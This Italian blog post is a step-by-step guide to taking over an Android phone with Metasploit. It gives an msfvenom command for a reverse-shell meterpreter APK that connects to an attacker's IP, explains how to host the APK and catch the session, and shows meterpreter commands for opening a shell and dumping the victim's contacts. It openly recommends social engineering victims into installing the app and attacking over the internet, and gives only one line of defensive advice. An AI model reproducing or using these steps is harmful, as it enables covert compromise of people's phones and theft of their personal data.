Come hackerare un telefono Android usando Kali Linux

In questo articolo impareremo come hackerare un telefono Android utilizzando il framework Metasploit . I dispositivi Android stanno crescendo molto rapidamente in tutto il mondo e in realtà utilizzano molte delle funzionalità principali dei sistemi Linux. Ecco perché scegliere Android è il modo migliore per imparare il Mobile Penetration Testing.

In questa guida ti spiego come hackerare un telefono Android usando Metasploit Msfvenom con Kali Linux

In questa guida useremo Kali Linux per attaccare il bersaglio. L’obiettivo è un telefono Android e per questo stiamo utilizzando una macchina virtuale Android . Naturalmente, ci saranno alcune limitazioni e differenze tra un dispositivo Android virtuale e un dispositivo Android fisico, ma ai fini dell’apprendimento del pentesting si consiglia di condurre questo test su un dispositivo virtuale.

Useremo msfvenom per creare un payload e salvarlo come file apk. Dopo aver generato il carico utile, è necessario configurare un listener per il framework Metasploit. Una volta che il bersaglio scarica e installa l’apk dannoso, un utente malintenzionato può facilmente recuperare una sessione di meterpreter su Metasploit. Un utente malintenzionato deve eseguire un po’ di ingegneria sociale per installare apk sul dispositivo mobile della vittima.

Generazione di un carico utile con msfvenom

All’inizio, avvia Kali Linux in modo da poter generare un file apk come payload dannoso. Dobbiamo controllare il nostro IP locale che risulta essere “192.168.0.112”. Puoi anche hackerare un dispositivo Android tramite Internet utilizzando il tuo IP pubblico/esterno in LHOST e tramite il port forwarding.

Dopo aver ottenuto l’IP dell’host locale, utilizza lo strumento msfvenom che genererà un carico utile per penetrare nel dispositivo Android. Digita il comando:

# msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4444 R> /var/www/html/ehacking.apk

Che significa:

• -p indica un tipo di carico utile
• android/metepreter/reverse_tcp specifica che una shell meterpreter inversa arriverà da un dispositivo Android di destinazione
• LHOST è il tuo IP locale
• LPORT è impostato per essere una porta di ascolto
• R> /var/www/html darebbe l’output direttamente sul server Apache
• apk è il nome finale dell’output finale

Ciò richiederebbe del tempo per generare un file apk di quasi diecimila byte.

Come lanciare l’attacco

Prima di lanciare un attacco, dobbiamo controllare lo stato del server Apache. Quindi digita il comando:

# service apache2 status

Tutto sembra pronto, ora accendi msfconsole. Usa l’exploit multi/gestore, imposta il payload come generato in precedenza, imposta i valori LHOST e LPORT come quelli usati nel payload e infine digita exploit per lanciare un attacco.

In scenari di vita reale, alcune tecniche di ingegneria sociale possono essere utilizzate per consentire al target di scaricare il file apk dannoso. A scopo dimostrativo stiamo solo accedendo alla macchina dell’attaccante per scaricare il file nel dispositivo Android.

Dopo averlo scaricato correttamente, seleziona l’app da installare. Abilita le impostazioni per installare applicazioni da fonti di terze parti. E infine premi l’opzione di installazione in basso. Una volta che l’utente installa l’applicazione e la esegue, la sessione meterepreter verrebbe aperta immediatamente sul lato attaccante.

Digita “background” e poi “sessions” per elencare tutte le sessioni da cui puoi vedere tutti gli IP collegati alla macchina. Puoi interagire con qualsiasi sessione digitando sessions -i [session ID]

Dopo essere entrati nella sessione, digita “help” per elencare tutti i comandi che possiamo proporre in questa sessione. Puoi vedere alcuni comandi del file system che sono utili quando stai cercando di cercare informazioni o dati sensibili. Usandoli, puoi facilmente scaricare o caricare qualsiasi file o informazione. Troverai anche alcuni comandi di rete tra cui portfwd e route.

Alcuni potenti comandi di sistema per ottenere l’ID utente, ottenere una shell o ottenere le informazioni di sistema complete. Digita “app_list” e ti mostrerà tutte le app installate sul dispositivo. Abbiamo anche il potere di disinstallare qualsiasi app dal dispositivo Android.

Ora estraiamo alcuni contatti dal dispositivo di destinazione digitando “dump” e doppia scheda. Mostrerà tutte le opzioni per estrarre dal dispositivo. Digita “dump_contacts” e accedi. Estrarrà tutti i contatti dal dispositivo Android e lo salverà nella nostra directory locale. Per vedere questo file digita “ls” e “cat [nome_file]“.

Questo mostrerebbe il contenuto del file del contatto precedentemente scaricato dal dispositivo di destinazione. Queste informazioni sono davvero sensibili e potrebbero essere sfruttate dagli hacker.

Ci sono molti altri comandi disponibili in meterpreter. Prova ulteriormente a esplorare e imparare cosa possiamo eseguire con un dispositivo Android. Ciò conclude che siamo penetrati con successo nel dispositivo Android utilizzando Kali Linux e Metasploit-Framework.

Un consiglio salutare per proteggere il tuo dispositivo Android è non installare alcuna applicazione da una fonte sconosciuta, anche se vuoi davvero installarla, prova a leggere ed esaminare il suo codice sorgente per avere un’idea se questo file è dannoso o meno.

Note finali

E siamo arrivati alle note finali di questa guida dove ti spiego come hackerare un telefono Android usando Kali Linux. Prima di salutare volevo informarti che mi trovi anche sui Social Network, per entrarci clicca sulle icone appropriate che trovi nella Home di questo blog, inoltre se la guida ti è piaciuta condividila pure attraverso i pulsanti social di Facebook, Twitter, Pinterest e Tumblr, per far conoscere il blog anche ai tuoi amici, ecco con questo è tutto Wiz ti saluti.